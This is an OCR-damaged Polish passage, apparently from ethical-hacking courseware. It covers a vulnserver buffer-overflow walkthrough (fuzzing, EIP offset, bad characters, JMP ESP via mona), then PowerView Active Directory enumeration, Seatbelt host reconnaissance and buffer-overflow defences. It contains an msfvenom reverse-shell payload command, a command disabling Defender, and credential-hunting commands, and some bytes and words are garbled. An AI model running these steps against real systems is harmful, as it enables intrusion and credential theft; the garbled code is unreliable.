Szablony Spike definiujg formaty pakietdw uzywane do komunikacji z serwerem podatnym na ataki. Sg
przydatne do testowania i identyfikowania funkcji podatnych na wykorzystanie przepetnienia bufora.
Uzyj nastepujgcego szablonu spajkéw do wzbogacenia funkcji STATS:

B stats.spk >

Text v TabWidth: 4



Teraz wyslij pakiety do podatnego serwera za pomocga nastepujgcego polecenia:
generic_send_tcp <Target IP> <Target Port> spike_script SKIPVAR SKIPSTR

Jak pokazano na zrzucie ekranu, funkcja TRUN podatnego serwera ma luke w zabezpieczeniach
zwigzang z przepetnieniem bufora. Zwiekszenie wartosci tej funkcji nadpisuje rejestry stosu, takie jak
EAX, ESP, EBP i EIP. Jesli atakujgcy mogg nadpisac rejestr EIP, mogg uzyska¢ dostep powtoki do systemu
docelowego.
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Wykonaj fuzzing

Po zidentyfikowaniu podatnosci na przepetnienie bufora na docelowym serwerze musimy wykonac
fuzzing. Atakujacy uzywajg fuzzingu do wysytania duzej ilosci danych do serwera docelowego, co
powoduje przepetnienie bufora i nadpisanie rejestru EIP. Fuzzing pomaga w okresleniu liczby bajtow
potrzebnych do awarii serwera docelowego. Informacje te pomagajg w okresleniu doktadnej lokalizacji
rejestru EIP, co dodatkowo pomaga w wstrzykiwaniu ztosliwego kodu powtoki. Na przyktad ponizszy
zrzut ekranu pokazuje przyktadowy skrypt Pythona uzywany przez osoby atakujgce do
przeprowadzania fuzzingu:



Kiedy wykonujesz powyzszy kod, buff mnozy sie dla kazdej iteracji petli while i wysyta dane buffa do
podatnego serwera. Jak wida¢ na zrzutach ekranu, podatny na ataki serwer ulegt awarii po odebraniu
okoto 2300 bajtéw danych, ale nie nadpisat rejestru EIP.

Zidentyfikuj przesuniecie

Dzieki fuzzingowi zrozumieli$my, ze mozemy nadpisa¢ rejestr EIP od 1 do 2300 bajtéw danych. Teraz
uzyjemy nastepujgcego narzedzia pattern_create Ruby do wygenerowania losowych bajtéw danych:

Jusr/share/metasploit-framework/tools/exploit/pattern_create.rb 3000 -1

Uruchom nastepujgcy skrypt Pythona, aby wystac te losowe bajty do podatnego serwera:



Gdy powyzszy skrypt jest wykonywany, losowe bajty danych sg wysytane do docelowego serwera
podatnego na ataki, co powoduje przepetnienie bufora w stosie. Zrzut ekranu wyraznie pokazuje, ze
rejestr EIP jest nadpisywany losowymi bajtami. Musisz zanotowaé losowe bajty w EIP i znalei¢
przesuniecie tych bajtow.

Uruchom nastepujgce polecenie, aby znalez¢ doktadne przesuniecie losowych bajtow w rejestrze EIP:
Jusr/share/metasploit-framework/tools/exploit/pattern_offset.rb -1 3000 -q 386F4337
Zastap rejestr EIP

Jak pokazano na zrzucie ekranu, ustalilismy, ze rejestr EIP jest przesuniety o 2003 bajty. Teraz uruchom
nastepujacy skrypt Pythona, aby sprawdzi¢, czy mozemy kontrolowac rejestr EIP.

Jak pokazano na zrzucie ekranu, rejestr EIP moze by¢ kontrolowany i nadpisywany ztosliwym kodem
powtoki.
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Zidentyfikuj zte postacie

Przed wstrzyknieciem kodu powtoki do rejestru EIP nalezy najpierw zidentyfikowaé zte znaki, ktore
mogg powodowac problemy w kodzie powtoki. Badchars mozna uzyska¢ za pomocg wyszukiwarki
Google. Znaki takie jak brak bajtu, np. ,\x00”, to zte znaki.

zte znaki =
("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\xOf\xI0\xI\xI
2\xI3\x14\xI5\x16\xI7\xI8\xI9\xla\xIb\xIc\xId\xle\xIf"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32
\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53
\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
n\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72
\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92
\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e \x9f"
"\xa0\xal\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xbl\xb2

\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"



"\xc0\xcl\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcfAxd0\xdl\xd2
\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xeO\xel\xe2\xe3\xe4\xe5\xeb\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xfO\xfl\xf2
\xf3\xfA\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

Nastepnie uruchom nastepujacy skrypt Pythona, aby wystac zte znaki wraz z kodem powtoki:

badc

W Immunity Debugger kliknij prawym przyciskiem myszy wartos¢ rejestru ESP, a nastepnie kliknij
,Follow in Dump” i na koniec obserwuj znaki. Przekonasz sie, ze nie ma zadnych ztych znakéw, ktére
stwarzajg problemy w kodzie powtoki.

Zidentyfikuj wiasciwy modut

W tym kroku musimy zidentyfikowaé wtasciwy modut podatnego serwera, ktory nie ma ochrony
pamieci. W Immunity Debugger mozesz uzyé skryptow, takich jak mona.py, aby zidentyfikowa¢ takie
moduty. Musisz pobra¢ mona.py z GitHub i skopiowa¢ go do $ciezki odpornosci Debugger ->
PyCommands. Teraz uruchom serwer z lukg i program Immunity Debugger jako administrator, a
nastepnie podtacz serwer z lukg do debuggera. W Immunity Debugger wpisz moduty Imona na pasku
u dotu okna. Jak pokazano na zrzucie ekranu, tworzone jest wyskakujgce okienko, ktére pokazuje
ustawienia ochrony réznych modutéw.
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Jak pokazano na zrzucie ekranu, jeden z modutéw, essfunc.dll, nie ma ochrony pamieci. Atakujacy
wykorzystujg takie moduty do wstrzykniecia kodu powtoki i przejecia petnej kontroli nad rejestrem EIP.
Teraz uruchom nastepujacy skrypt Ruby nasm_shell, aby przekonwertowac jezyk asemblera (JMP ESP)
na kod szesnastkowy:

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

Hex code for JMP ESP command

Nastepnie w Immunity Debugger wpisz nastepujgce polecenie w pasku u dotu okna, aby okresli¢ adres
zwrotny modutu podatnego na ataki:

Imona find -s "\xff\xe4" -m essfunc.dll

W Immunity Debugger wybierz ,Wprowadz wyrazenie do nasladowania”, wprowadz zidentyfikowany
adres zwrotny w polu tekstowym, kliknij ,OK” i naciénij ,,F2”, aby ustawi¢ punkt przerwania pod tym
konkretnym adresem.



Teraz wprowadz zidentyfikowany adres zwrotny do EIP, uruchamiajgc nastepujacy skrypt:

Na przyktad, jesli adres zwrotny to ,,6250llaf”, nalezy wysta¢ , \xaf\xI[\x50\x62”, poniewaz architektura
x86 przechowuje wartosci w formacie Little Endian.

Po uruchomieniu powyzszego skryptu zauwazysz, ze rejestr EIP zostat nadpisany adresem zwrotnym
podatnego modutu:

@ immunity Debugger - vulnserver.exe - [CPU - thread 00002095, module essfune
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[87:22:44) Breakpoint at ecsfunc.625011AF Paused

Jak pokazano na zrzucie ekranu, osoby atakujgce mogg kontrolowac rejestr EIP, jesli serwer docelowy
ma moduty, ktére nie majg odpowiednich ustawien ochrony pamieci.

Wygeneruj kod powtoki i uzyskaj dostep do powtoki

Teraz uruchom nastepujace polecenie msfvenom, aby wygenerowacé kod powtoki:
msfvenom -p windows/shell_reverse_tcp LHOST=<IP address> LPORT=<port>
EXITFUNC=thread -f c -a x86 -b "\x00"

W powyzszym poleceniu

-p -> payload, LHOST -> attacker's IP, LPORT -> attacker's port, -f -> filetype, -a -> architecture, and -b
-> bad character

Teraz uruchom nastepujacy skrypt Pythona, aby wstrzykng¢ wygenerowany kod powtoki do rejestru
EIP i uzyska¢ dostep powtoki do docelowego serwera podatnego na ataki:



Przed uruchomieniem powyzszego skryptu uruchom nastepujgcg komende Netcat, aby nastuchiwac
na porcie 4444.

nc-nvlp 4444

Nastepnie uruchom powyzszy skrypt Pythona, aby uzyska¢ dostep powtoki do docelowego serwera
podatnego na ataki:

Atak programowania zorientowanego na zwrot (ROP).

Programowanie zorientowane na zwrot to technika wykorzystywania wykorzystywana przez osoby
atakujgce w celu wykonania dowolnego ztosliwego kodu w obecnosci zabezpieczen, takich jak
podpisywanie kodu i ochrona przestrzeni wykonywalnej. Wykorzystujac te technike, osoba atakujgca
przejmuje kontrole nad programem docelowym, uzyskujgc dostep do stosu wywotan, a nastepnie



wykonuje dowolne instrukcje maszynowe, ponownie wykorzystujgc dostepne biblioteki zwane
gadzetami. Gadzety to zbidr instrukcji zakonczonych instrukcjg x86 RET. Atakujacy wybiera tancuch
istniejgcych gadzetdow, aby utworzyé nowy program i uruchamia go ze ztosliwymi intencjami. Ponadto
osoba atakujgca moze réwniez wykonac rozgatezienia kodu i wyszuka¢ warunki, takie jak réwne,
mniejsze niz i wieksze niz w danych programu. Ataki ROP sg bardzo skuteczne, poniewaz wykorzystuja
dostepne i legalne biblioteki kodéw, ktére nie sg identyfikowane przez zabezpieczenia, takie jak
podpisywanie kodu i ochrona przestrzeni wykonywalnej.

Wykorzystaj taricuch

taczenie luk w zabezpieczeniach, okreslane rowniez jako taczenie luk w zabezpieczeniach, to cyberatak,
ktory taczy rozne exploity lub luki w zabezpieczeniach w celu infiltracji i narazenia na szwank celu z
poziomu gtéwnego. tancuch exploitdw to wyrafinowany mechanizm ataku, w ktérym atakujacy
najpierw inicjuje operacje rozpoznawczg. Nastepnie atakujgcy zaczyna sekwencyjnie wylicza¢ rézne
$lady cyfrowe i lezgce u ich podstaw luki w oprogramowaniu lub sprzecie systemu docelowego. Po
zidentyfikowaniu luk w zabezpieczeniach atakujgcy poczatkowo uzyskuje dostep do docelowej sieci za
pomocg dowolnej technologii i narzedzia eksploatacyjnego, co do ktérego uwaza, ze ma najwieksze
prawdopodobienstwo sukcesu. Nastepnie wchodzg gtebiej w sieé, korzystajgc z listy zidentyfikowanych
exploitow. Mogg réwniez zmapowacé wiekszg cze$¢ aktywnosci przed cyfrowym potgczeniem z
docelowym systemem. Dzieki pomysinemu wykorzystaniu luk w zabezpieczeniach osoba atakujaca
uzyskuje dostep na poziomie jgdra/root/systemu w celu przeprowadzania dalszych atakéw w catej sieci
bez wykrycia przez rozwigzania zabezpieczajgce. Chociaz ten typ ataku pochtania stosunkowo wiecej
czasu i wysitku w poczatkowych fazach, tgczenie exploitdw razem umozliwia atakujacym
przeprowadzanie atakdw, ktérym trudniej jest zaradzi¢ w miare wzrostu dtugosci i gtebokosci tancucha
exploitéw. Organizacje sg narazone na znaczne ryzyko z powodu taiicuchéw exploitédw. tancuchy
exploitéw sg zwykle przeprowadzane szybko, a wiekszosci firm brakuje niezbednych strategii, zasad i
zasobow, aby skutecznie blokowa¢ lub ograniczac zagrozenie. tancuchy exploitow wykorzystujg znane
luki w zabezpieczeniach do tworzenia tancuchéw, co naraza zasoby IT na ryzyko, poniewaz nie mozna
ich tatwo zidentyfikowac i ztagodzic.

Wyliczanie Active Directory przy uzyciu PowerView

Atakujacy przeprowadzajg wyliczanie Active Directory (AD) w celu wyodrebnienia poufnych informacji,
takich jak uzytkownicy, grupy, domeny i inne zasoby z docelowego srodowiska AD. Atakujgcy wyliczaja
AD za pomocg narzedzi PowerShell, takich jak PowerView. Przed wykonaniem wyliczenia za pomocg
programu PowerView osoby atakujgce wytaczajg opcje monitorowania bezpieczeistwa za pomocg
nastepujgcego polecenia:

Set-MpPreference -DisableRealtimeMonitoring Strue
Wyliczanie domen

Domena AD to logiczny zestaw obiektéw, takich jak komputery, uzytkownicy i urzadzenia, ktére maja
wspdlne ustawienia administracyjne i ustawienia replikacji. Atakujgcy wyliczajg domeny, aby zebra¢
informacje o uzytkownikach, grupach i innych zasobach w sieci docelowej.

Polecenie: Opis

Get-ADDomain , Get-NetDomain : Pobiera informacje zwigzane z biezgcg domeng, w tym kontrolerami
domeny (DC)

Get-DomainSID : pobiera identyfikator zabezpieczen (SID) biezgcej domeny



Wyliczanie zasad domeny

W srodowisku AD polityka bezpieczenstwa domeny jest wdrazana w danej domenie, komputerze lub
okreslonych dyskach w systemie. Atakujgcy wyliczajg zasady domeny, aby uzyskac informacje zwigzane
z uzywanymi protokofami bezpieczeristwa, takimi jak zastosowane technologie haset i poziomy
dostepu.

Polecenie: Opis
Get-DomainPolicy : pobiera zasady uzywane przez biezgcg domene

(Get-DomainPolicy)."SystemAccess" : pobiera informacje zwigzane z konfiguracjami zasad dostepu do
systemu domeny

(Get-DomainPolicy)."kerberospolicy" : pobiera informacje zwigzane z zasadami Kerberos domeny
Wyliczanie kontroleréw domeny (DC)

AD DCto serwer, ktéry przetwarza i weryfikuje zadania uwierzytelnienia pochodzgce od uzytkownikéw
w sieciach komputerowych. Atakujacy wyliczajg kontrolery domeny w celu pobrania informacji, takich
jak las domeny, wersja systemu operacyjnego, role i adres IP.

Polecenie: Opis
Get-NetDomainController: Pobiera informacje zwigzane z biezgcym kontrolerem domeny (DC)
Wyliczanie uzytkownikéw domeny

Dane uzytkownikdw domeny AD sg przechowywane na kontrolerze domeny, a nie na komputerach
lokalnych, na ktérych uzytkownicy sie loguja. Osoby atakujgce wyliczajg uzytkownikéw domeny w celu
uzyskania informacji, takich jak typ konta, nazwa uzytkownika, identyfikator obiektu,
samaccountname, samaccounttype i identyfikator obiektu.

Polecenie: Opis

Get-NetUser : pobiera informacje dotyczace biezgcego uzytkownika domeny

Get-NetLoggedon —ComputerName <nazwa-komputera> : Pobiera informacje zwigzane z biezgcym
aktywny uzytkownik domeny

Get-UserProperty —Properties pwdlastset : Pobiera date i godzine ostatniego ustawienia hasta dla
kazdego uzytkownika domeny

Find-LocalAdminAccess

Invoke-EnumerateLocalAdmin : pobiera uzytkownikdw posiadajgcych lokalne uprawnienia
administracyjne w biezgcej domenie

*Do uruchomienia wymagane sg uprawnienia administratora
Wyliczanie komputeréw domeny

Atakujgcy wyliczajg komputery w domenie, aby uzyskaé informacje, takie jak lista komputeréw w
biezacej domenie, informacje o systemie operacyjnym i mozliwe do pingowania systemy hostéw.

Polecenie: Opis



Get-NetComputer : Pobiera liste wszystkich komputeréw istniejgcych w biezgcej domenie

Get-NetComputer — Operating System ,*Server 2022*” : Pobiera wszystkie komputery domeny z
systemem Windows Server 2022

Get-NetComputer —Ping: Pobiera wszystkie aktywne hosty lub mozliwe do pingowania systemy hostéw
dostepne w biezacej domenie

Wyliczanie grup domen

Grupy AD s3 uzywane do wydajnej konserwacji i administrowania siecig. Grupy to mozliwe do
zarzadzania jednostki kont uzytkownikéw domeny, komputerdw itp. Osoby atakujgce wyliczajg grupy
domen w celu uzyskania informacji, takich jak lista nazw grup w biezgcej domenie, informacje o
okreslonej grupie/grupach lokalnych oraz nazwiska cztonkéow.

Polecenie: Opis
Get-NetGroup : Pobiera liste wszystkich grup istniejgcych w biezgcej domenie

Get-NetGroup —Domain <targetdomain> : Pobiera liste wszystkich grup istniejagcych w okreslonej
domenie

Get-NetGroup ,,Administratorzy domeny”: Pobiera wszystkie informacje zwigzane z okreslong grupa
Get-NetGroup "*admin*" : Pobiera wszystkie grupy zawierajgce admin w nazwie grupy

Get-NetGroupMember - , GroupName "Administratorzy domeny" : Pobiera wszystkich cztonkéw
okreslonej grupy

Get-NetGroup —UserName <"username"> : Pobiera nazwe grupy okreslonego uzytkownika domeny

Get-NetLocalGroup — ComputerName <computername> : Pobiera wszystkie nazwy grup okreslonego
komputera domeny

Get-NetLoggedon -, ComputerName <DomainName> : Pobiera wszystkich aktywnych zalogowanych
uzytkownikéw okreslonej domeny

*Do uruchomienia wymagane sg uprawnienia administratora

Get-LastLoggedOn — ComputerName <DomainName> : Pobiera ostatnio zalogowanego uzytkownika
okreslonej domeny

Wyliczanie udziatéw domeny

Atakujacy wyliczajg udzialy domeny, aby uzyskaé informacje, takie jak nazwa udziatu, nazwa
komputera i typ udziatu.

Polecenie: Opis

Invoke-ShareFinder -Verbose : Pobiera udziaty na hostach w biezgcej domenie
Get-NetShare : Pobiera wszystkie udziaty sieciowe istniejgce w biezgcej domenie
Get-NetFileServer -Verbose : Pobiera serwer plikéw biezgcej domeny

Invoke-FileFinder: Pobiera wszystkie pliki w biezgcej domenie, w tym pliki przechowujgce dane
uwierzytelniajgce



Wyliczanie zasad grupy i jednostek organizacyjnych

Wyliczanie zasad grupowych umozliwia atakujgcym fatwe konfigurowanie rdézinych ustawien
uzytkownika dla systemu komputerowego w domenie poprzez modyfikacje biezgcych zasad
grupowych. Te informacje umozliwiajg atakujgcym dostep do réznych systemdw w sieci i zarzagdzanie
nimi w Srodowisku AD bez fizycznego dostepu. Jednostka organizacyjna (OU) jest podpodziatem AD
uzywanym do kategoryzowania uzytkownikéw, grup i komputerdw. Podziat ten pomaga
administratorom zdefiniowa¢ okreslone zasady grupy dla wszystkich uzytkownikéw, grup i
komputeréw nalezgcych do jednostki organizacyjnej. Atakujgcy wyliczajg jednostki organizacyjne, aby
zidentyfikowac typ instancji, identyfikator obiektu i kategorie obiektu.

Polecenie: Opis

Get-NetGPO , Get-NetGPO| wybierz wyswietlang nazwe : pobiera liste wszystkich obiektow zasad
grupy obecnych w biezgcej domenie

Get-Netou : pobiera wszystkie jednostki organizacyjne obecne w biezgcej domenie
Wyliczanie list kontroli dostepu (ACL)

Lista ACL sktada sie z réznych wpisdow kontroli dostepu (ACE) i pojedynczych wpisow ACE, ktore
pomagajg w odkryciu powiernika, takiego jak uzytkownik lub grupa, w celu zdefiniowania réznych praw
dostepu. Jesli lista ACL zostanie btednie skonfigurowana przez administratora, zwykty uzytkownik moze
wykonywac¢ zadania administratora w docelowym srodowisku AD. Atakujacy wykorzystuja te luke do
wyliczania list ACL i znajdowania btednie skonfigurowanych list ACL oraz do préby uzyskania uprawnien
administracyjnych.

Polecenie: Opis

Get-ObjectAcl — SamAccountName ,users” — ResolveGUIDs: pobiera szczegétowe informacje o
listach ACL dla okreslonej grupy (uzytkownikéw)

Get-NetGPO | %{Get-ObjectAcl —ResolveGUIDs Name S .Name}: Pobiera uzytkownikdéw, ktérzy majg
uprawnienia do modyfikacji grupy

Invoke-ACLScanner , ResolveGUIDs : Pobiera wszystkie informacje o wpisach ACE

Get-PathAcl —Path \\Windowsll\Users (Dziata tylko z folderem udostepnionym): pobiera liste ACL
potaczong z okreslong Sciezka

Wyliczanie zaufania domen i lasow

AD utrzymuje hierarchie od géry do dotu w utrzymywaniu obiektow. Hierarchia zawiera lasy, drzewa i
domeny. Las to instancja Srodowiska AD, ktéra sktada sie z drzew domen, domen i jednostek
organizacyjnych. Drzewa sktadajg sie z domen i subdomen w okreslonej przestrzeni nazw domen.
Domeny to logiczne reprezentacje obiektéw, takich jak uzytkownicy, systemy komputerowe i
urzadzenia.

Zaufanie ustugi Active Directory: Relacje zaufania miedzy dwiema domenami mozna przedstawi¢ jako
tacze komunikacyjne. Dzieki temu uzytkownicy okreslonej domeny mogg uzyskac dostep do zasobdéw
innej domeny. Na przyktad uzytkownicy w domenie X mogg uzyskiwac dostep do zasobéw w domenie
Y lub zada¢ ich w relacji zaufania. Relacje zaufania polegajg na utworzeniu pojedyncze] jednostki
administracyjnej poprzez potaczenie wielu domen. Jak podano ponizej, istniejg dwa kierunki relacji
opartej na zaufaniu:



Zaufanie jednokierunkowe: jest réwniez znane jako zaufanie jednokierunkowe. Umozliwia
uzytkownikom w zaufanej domenie dostep do zasobdw zaufanej domeny.

Zaufanie dwukierunkowe: jest réwniez znane jako zaufanie dwukierunkowe. Umozliwia uzytkownikom
jednej domeny dostep do zasobdw w innej domenie i odwrotnie.

Woyliczanie relacji zaufania domen pomaga atakujgcym zwiekszyé ogdlng powierzchnie ataku.
Polecenie: Opis

Get-NetForest : pobiera informacje o biezagcym lesie

Get-NetForest —Forest <forest> : pobiera informacje o okreslonym lesie

Get-NetForestDomain : Pobiera wszystkie domeny w biezgcym lesie

Get-NetForestCatalog: pobiera szczegétowe informacje o katalogach globalnych dla biezgcego lasu

Get-NetForestCatalog — Las <las> : Pobiera szczegétowe informacje o katalogach globalnych dla
okreslonego lasu

Mapowanie domen i eksploatacja za pomocg Bloodhound

Mapowanie domen AD zapewnia ogdlng architekture struktury domeny AD w organizacji w formacie
graficznego interfejsu uzytkownika (GUI) i pokazuje relacje zaufania miedzy uzytkownikami domeny i
grupami w Srodowisku AD. Atakujacy probuja zidentyfikowac ztozong Sciezke ataku w Srodowisku AD
docelowej organizacji za pomocg narzedzi takich jak BloodHound i Docusnap. Specjalisci ds.
bezpieczenstwa mogg réwniez uzywac tych samych narzedzi do identyfikowania i eliminowania sciezek
atakéw, zanim zostang one wykorzystane.

Bloodhound

Bloodhound to aplikacja internetowa JavaScript zbudowana na bazie Linkurious i skompilowana przy
uzyciu Electron, z bazg danych Neo4j zasilang przez kolektor danych C#. Wykorzystuje teorie graféw
do ujawnienia ukrytych i czesto niezamierzonych relacji w $rodowisku AD. Atakujgcy wykorzystujg
BloodHound do tatwego identyfikowania ztozonych $ciezek atakéw w srodowiskach AD.

Identyfikacja zagrozen za pomocg paséw bezpieczeristwa GhostPack

GhostPack zawiera rézne zestawy narzedzi implementacji funkcji PowerShell w jezyku C#. Obejmuje
pas bezpieczeristwa, SharpUp, SharpRoast, SharpDump, SafetyKatz i SharpWMI. Seatbelt to projekt w
jezyku CH, ktory przeprowadza kilka zorientowanych na bezpieczenstwo , kontroli bezpieczenstwa”
hosta, istotnych zaréwno z ofensywnych, jak i defensywnych perspektyw bezpieczenstwa. Atakujgcy
uzywajg pasow bezpieczenstwa do zbierania informacji o hoscie, w tym ustawien zabezpieczen
programu PowerShell, zgtoszenn Kerberos i elementéw w Koszu. Za pomocy paséw bezpieczenstwa
osoby atakujgce przeprowadzajg kontrole bezpieczenstwa w celu wykrycia zagrozen, ktére mozna
wykorzysta¢ do przeprowadzenia aktywnych atakéw na sie¢ hosta. Pasy bezpieczenstwa majg
nastepujgce grupy polecen: All, User, System, Slack, Chromium, Remote i Misc. Wywotaj grupy polecen
za pomocg polecenia Seatbelt.exe <grupa>.

Polecenie: Opis
Seatbelt.exe -group=all : uruchamia wszystkie polecenia

Seatbelt.exe -group=user : pobiera informacje, wykonujgc nastepujace polecenia:



SlackPresence, SlackWorkspaces, SuperPutty, TokenGroups, WindowsCredentialFiles, WindowsVault
Seatbelt.exe -group=system: pobiera informacje, wykonujac nastepujgce polecenia: AMSIProviders,
Antivirus, AppLocker, ARPTable, AuditPolicies, AuditPolicyRegistry, AutoRuns, CredGuard, DNSCache,
DotNet, EnvironmentPath, EnvironmentVariables, Hotfixes,

InteresPocesses, InternetSettings, LAPS, LastShutdown, LocalGPOs, LocalGroups, LocalUsers,
LogonSessions, LSASettings, McAfeeConfigs, NamedPipes, NetworkProfiles, NetworkShares,
NTLMSettings, OSInfo, PoweredOnEvents, PowerShell, Processes, PSSessionSettings, RDPSessions,
RDPsettings, SCCM, Services, Sysmon, TcpConnections TokenPrivileges, UAC, UdpConnections,
UserRightAssignments, = WindowsAutoLogon, @ WindowsDefender, @ WindowsEventForwarding,
WindowsFirewall, WMIEventConsumer, WMIEventFilter, WMIFilterBinding, WSUS

Seatbelt.exe -group=slack : pobiera informacje, wykonujgc nastepujace polecenia: SlackDownloads,
SlackPresence, SlackWorkspaces

Seatbelt.exe -group=chromium : pobiera informacje, wykonujac nastepujgce polecenia:
ChromiumBookmarks, ChromiumHistory, ChromiumPresence

Seatbelt.exe -group=remote: pobiera informacje, wykonujgc nastepujace polecenia: AMSIProviders,
Antivirus, AuditPolicyRegistry, ChromiumPresence, CloudCredentials, DNSCache, DotNet,
DpapiMasterKeys, EnvironmentVariables, ExplicitlogonEvents, ExplorerRunCommands, FileZilla,
poprawki, ciekawe procesy, KeePass, LastShutdown, LocalGroups, Local Users, LogonEvents,
LogonSessions, LSASettings, MappedDrives, NetworkProfiles, NetworkShares, NTLMSettings, OSInfo,
PoweredOnEvents, PowerShell, ProcessOwners, PSSessionSettings, PuttyHostKeys, PuttySessions,
RDPSavedConnections, WindowsDefender, WindowsEvent Forwarding, WindowsFirewall

Seatbelt.exe  -group=misc : pobiera informacje, wykonujgc nastepujgce  polecenia:
ChromiumBookmarks, ChromiumHistory, ExplicitLogonEvents, Filelnfo, FirefoxHistory,
InstalledProducts, Interesujgce pliki, LogonEvents, LOLBAS, McAfeeSitelist, MicrosoftUpdates,
OutlookDownloads, PowerShellEvents, Printers, ProcessCreationEvents, ProcessOwners, RecycleBin,
reg, RPCMappedEndpoints, ScheduledTasks, Searchindex, SecurityPackages, SysmonEvents

Seatbelt.exe <Polecenie> [Moneta2]... : Uruchamia jedno lub wiecej okreslonych polecen
Seatbelt.exe <Command> -full : Pobiera petne wyniki dla polecenia bez zadnego filtrowania
Seatbelt.exe <Command> - computername=COMPUTER.DOMAIN.COM [-username=DOMAIN\USER -
password=PASSWORD] : Uruchamia zdalnie jedno lub wiecej okreslonych polecen

Seatbelt.exe -group=system - outputfile="C:\Temp\out.txt : Uruchamia kontrole systemu i wysyta dane
wyjsciowe do pliku .txt

Narzedzia do wykrywania przepetnienia bufora

Ponizej omdéwiono rézne narzedzia do wykrywania przepetnienia bufora, ktére pomagajg specjalistom
ds. bezpieczenstwa wykrywac luki w zabezpieczeniach zwigzane z przepetnieniem bufora:

OllyDbg

OllyDbg to 32-bitowy debugger analizujgcy na poziomie asemblera dla systemu Microsoft® Windows®.
Nacisk na analize kodu binarnego czyni go szczegdlnie uzytecznym, gdy zrédio jest niedostepne.
Debuguje aplikacje wielowatkowe i dotgcza do uruchomionych programdéw. Rozpoznaje ztozone



konstrukcje kodu, takie jak wezwanie do przejscia do procedury. Dynamicznie $ledzi ramki stosu i
wykonywanie programoéw oraz rejestruje argumenty znanych funkcji.

Oto niektére dodatkowe narzedzia do wykrywania przepetnienia bufora:

Veracode (https://www.verocode.com)

Flawfinder (https://dwheeler.com)

Kiuwan (https://www.kiuwon.com)

Szyna (https://github.com)

BOVSTT (https://github.com)

Obrona przed przepetnieniem bufora

W celu obrony przed atakami przepetnienia bufora mozna zastosowac¢ nastepujgce srodki zaradcze:
* Opracowuj programy, przestrzegajac praktyk i wytycznych dotyczgcych bezpiecznego kodowania.

* Uzyj techniki randomizacji ukfadu przestrzeni adresowej (ASLR), ktdra losowo przemieszcza
lokalizacje w przestrzeni adresowej regionu danych.

* Sprawdz argumenty i zminimalizuj kod, ktéry wymaga uprawniert administratora.

* Przeprowad? przeglad kodu na poziomie kodu Zrédtowego za pomocg statycznych i dynamicznych
analizatoréw kodu.

* Zezwol kompilatorowi na dodanie granic do wszystkich buforéw. Zaimplementuj automatyczne
sprawdzanie powigzan.

* Zawsze chron wskaznik powrotu na stosie.
* Nigdy nie zezwalaj na wykonywanie kodu poza przestrzenig kodu.
* Regularnie aktualizuj aplikacje i systemy operacyjne.

* Przeprowadz kontrole kodu recznie za pomoca listy kontrolnej, aby upewni¢ sie, ze kod spetnia
okreslone kryteria.

* Zastosuj stosy niewykonywalne, tj. zapobieganie wykonywaniu danych (DEP), ktére mogg oznaczy¢
stos lub regiony pamieci jako niewykonywalne, aby zapobiec wykorzystaniu.

* Zaimplementuj sprawdzanie integralnosci wskaznika kodu w celu wykrycia, czy wskaznik kodu zostat
uszkodzony, zanim zostanie wytuskany.

* Doktadnie przeanalizuj kod, aby unikng¢ ewentualnych btedéw, wykonujac testy i debugowanie.
* Wykonuj automatyczne i reczne audyty kodu.

* Unikaj uzywania niebezpiecznych funkcji i uzywaj strncat zamiast strcat i strncpy zamiast strcpy.
* Uzyj bitu NX, aby oznaczy¢ okreslone obszary pamieci jako wykonywalne i niewykonalne.

* Cyfrowo podpisz kod przed uruchomieniem programu.

* Upewnij sie, ze wszystkie transfery kontroli sg objete zaufanym i zatwierdzonym obrazem kodu.



* Zastosuj gteboka inspekcje pakietow (DPI) do wykrywania prob zdalnej eksploatacji na obrzezach
sieci przy uzyciu sygnatur atakdw.

* Rozwaz zmiane regut na poziomie systemu operacyjnego, gdzie strony pamieci mogg przechowywac
dane wykonywalne.

* Uzywaj rozwigzan systemu wykrywania wtaman (IDS) do wykrywania zachowan symulujacych atak.

* Zaimplementuj ochrone przed nadpisaniem procedury obstugi wyjgtkéw strukturalnych (SEHOP), aby
powstrzymac atakujgcych przed nadpisaniem rekordu rejestracji wyjatku przy uzyciu techniki
nadpisywania SEH.

* Korzystaj z najnowszych systemow operacyjnych, ktére zapewniajg lepszg ochrone.
* Uzywaj jezykdw programowania, takich jak Python, COBOL lub Java zamiast C.

* Upewnij sie, ze funkcja nie wykonuje operacji zapisu, gdy osiggnie koniec po okresleniu rozmiaru
bufora.

* Audyt bibliotek i frameworkéw uzywanych do tworzenia kodu zrédtowego, aby upewni¢ sig, ze nie
sg one podatne na ataki.

* Uzywaj kanarkéw stosu, losowej wartosci lub ciggu znakéw, co utrudnia atakujgcym nadpisanie.
Eskalacja uprawnien

Eskalacja uprawnien to drugi etap hakowania systemu. Atakujgcy wykorzystujg hasta uzyskane w
pierwszym kroku, aby uzyska¢ dostep do systemu docelowego, a nastepnie prébujg uzyskac w systemie
uprawnienia wyzszego poziomu. W tej sekcji oméwiono rézne narzedzia i techniki wykorzystywane
przez osoby atakujgce do eskalacji swoich uprawnien.

Eskalacja przywilejow

